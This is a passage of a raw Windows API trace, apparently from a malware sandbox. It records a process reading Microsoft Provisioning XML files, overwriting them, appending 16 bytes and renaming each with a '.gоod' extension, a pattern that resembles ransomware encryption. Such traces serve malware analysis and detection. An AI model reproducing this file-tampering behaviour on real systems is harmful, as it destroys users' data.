lpFileInformation=0x344d8f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x10f)) returned 1 [0121.391] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee270) returned 1 [0121.391] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0121.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0121.392] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0121.392] GetFileType (hFile=0x768) returned 0x1 [0121.392] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0121.392] GetFileType (hFile=0x768) returned 0x1 [0121.392] GetFileSize (in: hFile=0x768, lpFileSizeHigh=0x1fcee308 | out: lpFileSizeHigh=0x1fcee308*=0x0) returned 0x10f [0121.392] ReadFile (in: hFile=0x768, lpBuffer=0x344dd30, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fcee238, lpOverlapped=0x0 | out: lpBuffer=0x344dd30*, lpNumberOfBytesRead=0x1fcee238*=0x10f, lpOverlapped=0x0) returned 1 [0121.585] CloseHandle (hObject=0x768) returned 1 [0122.615] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedc40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0122.615] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee160) returned 1 [0122.615] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0122.616] GetFileType (hFile=0x6e4) returned 0x1 [0122.616] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee0d0) returned 1 [0122.616] GetFileType (hFile=0x6e4) returned 0x1 [0122.616] WriteFile (in: hFile=0x6e4, lpBuffer=0x351fb40*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x1fcee148, lpOverlapped=0x0 | out: lpBuffer=0x351fb40*, lpNumberOfBytesWritten=0x1fcee148*=0x110, lpOverlapped=0x0) returned 1 [0122.617] CloseHandle (hObject=0x6e4) returned 1 [0122.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml", lpFilePart=0x0) returned 0x60 [0122.617] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fcedde0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.gоod", lpFilePart=0x0) returned 0x65 [0122.617] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcee270) returned 1 [0122.617] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fcee350 | out: lpFileInformation=0x1fcee350*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x454d1d99, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x110)) returned 1 [0122.617] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fcee230) returned 1 [0122.617] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\MasterDatastore.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\masterdatastore.xml.gоod")) returned 1 [0122.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0122.618] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", lpFilePart=0x0) returned 0x51 [0122.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.619] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0122.619] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0122.619] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0122.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0122.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fcedad0) returned 1 [0122.619] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", nBufferLength=0x105, lpBuffer=0x1fced570, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov", lpFilePart=0x0) returned 0x51 [0122.619] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\*", lpFindFileData=0x1fced7f0 | out: lpFindFileData=0x1fced7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0122.620] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x21b6e507, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x21b6e507, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0122.620] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fced7b0 | out: lpFindFileData=0x1fced7b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0122.620] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0122.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fceda10) returned 1 [0122.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced9d0) returned 1 [0122.620] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced880) returned 1 [0122.620] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x352f730 | out: lpFileInformation=0x352f730*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x919d3d65, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x4bf13)) returned 1 [0122.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced840) returned 1 [0122.621] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0122.621] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0122.621] GetFileType (hFile=0x6e4) returned 0x1 [0122.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0122.622] GetFileType (hFile=0x6e4) returned 0x1 [0122.622] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x1000 [0122.622] ReadFile (in: hFile=0x6e4, lpBuffer=0x352fb98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced8a8, lpOverlapped=0x0 | out: lpBuffer=0x352fb98*, lpNumberOfBytesRead=0x1fced8a8*=0x1000, lpOverlapped=0x0) returned 1 [0122.667] CloseHandle (hObject=0x6e4) returned 1 [0122.668] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.668] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0122.668] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0122.668] GetFileType (hFile=0x6e4) returned 0x1 [0122.668] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0122.668] GetFileType (hFile=0x6e4) returned 0x1 [0122.668] SetFilePointer (in: hFile=0x6e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fced8d8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fced8d8*=0) returned 0x4bf13 [0122.668] WriteFile (in: hFile=0x6e4, lpBuffer=0x35317e8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fced7c8, lpOverlapped=0x0 | out: lpBuffer=0x35317e8*, lpNumberOfBytesWritten=0x1fced7c8*=0x10, lpOverlapped=0x0) returned 1 [0122.670] CloseHandle (hObject=0x6e4) returned 1 [0122.670] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0122.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0122.670] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0122.670] GetFileType (hFile=0x6e4) returned 0x1 [0122.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0122.671] GetFileType (hFile=0x6e4) returned 0x1 [0122.671] ReadFile (in: hFile=0x6e4, lpBuffer=0x3533b00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fced858, lpOverlapped=0x0 | out: lpBuffer=0x3533b00*, lpNumberOfBytesRead=0x1fced858*=0x1000, lpOverlapped=0x0) returned 1 [0123.303] CloseHandle (hObject=0x6e4) returned 1 [0123.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced260, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0123.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced780) returned 1 [0123.304] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0123.304] GetFileType (hFile=0x6e4) returned 0x1 [0123.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced6f0) returned 1 [0123.304] GetFileType (hFile=0x6e4) returned 0x1 [0123.304] WriteFile (in: hFile=0x6e4, lpBuffer=0x3447168*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fced908, lpOverlapped=0x0 | out: lpBuffer=0x3447168*, lpNumberOfBytesWritten=0x1fced908*=0x1010, lpOverlapped=0x0) returned 1 [0123.304] CloseHandle (hObject=0x6e4) returned 1 [0123.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml", lpFilePart=0x0) returned 0x5d [0123.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.gоod", nBufferLength=0x105, lpBuffer=0x1fced3b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.gоod", lpFilePart=0x0) returned 0x62 [0123.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced840) returned 1 [0123.305] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), fInfoLevelId=0x0, lpFileInformation=0x1fced920 | out: lpFileInformation=0x1fced920*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x919d3d65, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x919d3d65, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x45b67cd0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x4bf23)) returned 1 [0123.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fced800) returned 1 [0123.305] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime.xml.gоod" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime.xml.gоod")) returned 1 [0123.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fced0a0) returned 1 [0123.306] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", nBufferLength=0x105, lpBuffer=0x1fcecb40, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime", lpFilePart=0x0) returned 0x59 [0123.306] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\*", lpFindFileData=0x1fcecdc0 | out: lpFindFileData=0x1fcecdc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0123.310] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x21b6e507, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x2270dc88, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x2270dc88, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0123.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x900a4472, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x900a4472, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x900ca6de, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Connections_Cellular_Albanian Mobile Communications (Albania)_i0$(__MVID)@WAP.provxml", cAlternateFileName="0__CON~1.PRO")) returned 1 [0123.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x292, dwReserved0=0x0, dwReserved1=0x0, cFileName="100__Connections_Cellular_Telia DK (Denmark)_i0$(__MVID)@WAP.provxml", cAlternateFileName="100__C~1.PRO")) returned 1 [0123.312] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="101__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="101__C~1.PRO")) returned 1 [0123.313] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1fcecd80 | out: lpFindFileData=0x1fcecd80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90437e87, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90437e87, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90437e87, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x28a, dwReserved0=0x0, 